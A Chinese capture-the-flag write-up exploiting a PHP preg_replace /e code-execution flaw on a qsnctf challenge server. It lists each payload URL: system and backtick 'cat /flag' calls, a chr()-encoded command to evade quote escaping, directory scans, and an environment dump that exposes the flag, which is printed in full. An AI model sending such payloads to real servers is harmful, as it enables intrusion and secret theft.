题目
Flag寻找过程详细记录
目标网址
http://challenge.qsnctf.com:34147/
漏洞分析
页面源代码
当访问目标网址时,页面显示了以下PHP代码:
<?phphighlight_file(__FILE__);$input=$_GET['data'];echopreg_replace("/(.*)/e","\\1",$input);?>漏洞识别
这段代码存在一个典型的preg_replace /e模式代码执行漏洞:
漏洞原理详解
preg_replace函数:用于执行正则表达式的搜索和替换
- 语法:
preg_replace(pattern, replacement, subject) pattern:正则表达式模式replacement:替换字符串subject:要搜索替换的目标字符串
- 语法:
/e修饰符:
- 这是一个危险的修饰符,允许将
replacement参数作为PHP代码执行 - 在PHP 7.0及以上版本中已被移除,因为它会导致严重的安全问题
- 这是一个危险的修饰符,允许将
正则表达式
/(.*)/:/:正则表达式的定界符.:匹配任意字符(除了换行符)*:匹配前面的字符0次或多次- 整个模式
/.*?/会匹配输入的所有内容
替换字符串
\\1:\\1表示第一个捕获组的内容- 由于正则表达式
/(.*)/只有一个捕获组,且匹配了所有内容 - 因此
\\1会被替换为用户输入的$input内容
最终效果:
- 当
preg_replace执行时,它会先匹配用户输入的所有内容 - 然后将替换字符串
\\1替换为用户输入的内容 - 由于
/e修饰符的存在,替换后的字符串会被作为PHP代码执行 - 因此,用户可以通过
$input参数执行任意PHP代码
- 当
示例:
- 如果用户输入
data=phpinfo() - 则
preg_replace会执行:preg_replace("/(.*)/e", "phpinfo()", "phpinfo()") - 最终会执行
phpinfo()函数,输出PHP配置信息
利用过程
1. 验证漏洞存在
首先,我使用简单的PHP函数来验证漏洞是否存在:
请求URL:
http://challenge.qsnctf.com:34147/?data=getcwd()预期结果:返回当前工作目录
实际结果:成功返回/var/www/html,确认漏洞存在
2. 尝试直接读取文件
尝试1:直接使用file_get_contents读取/flag
请求URL:
http://challenge.qsnctf.com:34147/?data=file_get_contents('/flag')结果:语法错误,单引号被转义
尝试2:使用双引号
请求URL:
http://challenge.qsnctf.com:34147/?data=file_get_contents("/flag")结果:语法错误,双引号也被转义
尝试3:使用readfile函数
请求URL:
http://challenge.qsnctf.com:34147/?data=readfile(/flag)结果:语法错误,斜杠导致解析问题
尝试4:使用include函数
请求URL:
http://challenge.qsnctf.com:34147/?data=include(/flag)结果:语法错误,斜杠导致解析问题
3. 尝试执行系统命令
尝试1:使用system函数
请求URL:
http://challenge.qsnctf.com:34147/?data=system('ls -la')结果:连接中断,可能命令被限制
尝试2:使用反引号执行shell命令
请求URL:
http://challenge.qsnctf.com:34147/?data=`cat /flag`结果:连接中断
尝试3:使用chr()函数构造命令
请求URL:
http://challenge.qsnctf.com:34147/?data=system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))结果:连接中断
代码解释:
这段代码使用了PHP的chr()函数来构造shell命令,避免直接使用引号,从而绕过引号转义问题。
chr()函数:将ASCII码转换为对应的字符.运算符:连接字符串
详细分解:
| 函数调用 | ASCII码 | 对应的字符 | 组合后 |
|---|---|---|---|
chr(99) | 99 | c | 开始构造命令 |
chr(97) | 97 | a | ca |
chr(116) | 116 | t | cat |
chr(32) | 32 | 空格 | cat |
chr(47) | 47 | / | cat / |
chr(102) | 102 | f | cat /f |
chr(108) | 108 | l | cat /fl |
chr(97) | 97 | a | cat /fla |
chr(103) | 103 | g | cat /flag |
最终构造的命令:system('cat /flag')
system()函数:执行shell命令cat /flag:Linux命令,用于查看/flag文件的内容
这种方法通过ASCII码转换来构造命令,可以绕过某些字符过滤和转义机制。
4. 查看目录结构
尝试1:查看当前目录
请求URL:
http://challenge.qsnctf.com:34147/?data=print_r(scandir(dirname(__FILE__)))结果:成功返回目录内容
Array ( [0] => . [1] => .. [2] => index.php )结果解释:
这是PHPscandir()函数返回的目录列表,以数组形式展示:
[0] => .表示当前目录[1] => ..表示上级目录[2] => index.php表示当前目录下的index.php文件
尝试2:查看上级目录
请求URL:
http://challenge.qsnctf.com:34147/?data=print_r(scandir(dirname(dirname(__FILE__))))结果:成功返回上级目录内容
Array ( [0] => . [1] => .. [2] => html [3] => localhost )结果解释:
[0] => .表示当前目录(此时是/var/www)[1] => ..表示上级目录(/var)[2] => html表示/var/www/html目录,是我们的网站根目录[3] => localhost表示/var/www/localhost目录,是另一个网站目录
scandir()函数用于获取指定目录中的文件和子目录列表,print_r()函数用于格式化输出数组内容。
5. 查看环境变量(最终成功)
由于直接读取文件和执行系统命令都遇到了问题,我尝试查看环境变量,因为flag有时会设置在环境变量中。
请求URL:
http://challenge.qsnctf.com:34147/?data=var_dump($_ENV)代码解释:
var_dump()函数:用于打印变量的详细信息,包括类型和值$_ENV:PHP预定义超全局变量,包含了当前环境的所有环境变量
结果:成功返回环境变量,其中包含flag信息!
最终结果
在环境变量中找到了flag:
["FLAG"]=> string(40) "qsnctf{0882c2c003394a07b767c6171e4b86bc}"结果解释:
["FLAG"]:环境变量的名称为FLAGstring(40):该环境变量的值是一个字符串,长度为40个字符"qsnctf{0882c2c003394a07b767c6171e4b86bc}":环境变量的具体值,也就是我们要找的flag
最终Flag:qsnctf{0882c2c003394a07b767c6171e4b86bc}
环境变量的作用:
环境变量是操作系统或应用程序中用于存储配置信息的变量。在容器化部署中(如Docker),经常会通过环境变量来传递敏感信息,因为这样可以避免将敏感信息硬编码到代码中。在这个案例中,管理员就是将flag存储在了FLAG环境变量中。
总结
- 该漏洞是典型的preg_replace /e模式代码执行漏洞
- 利用过程中遇到了各种限制,包括引号转义、命令执行限制等
- 最终通过查看环境变量成功获取了flag
- 这个案例展示了在渗透测试中需要尝试多种方法,灵活应对各种限制
参考链接
- PHP preg_replace 官方文档
- OWASP 代码执行漏洞防护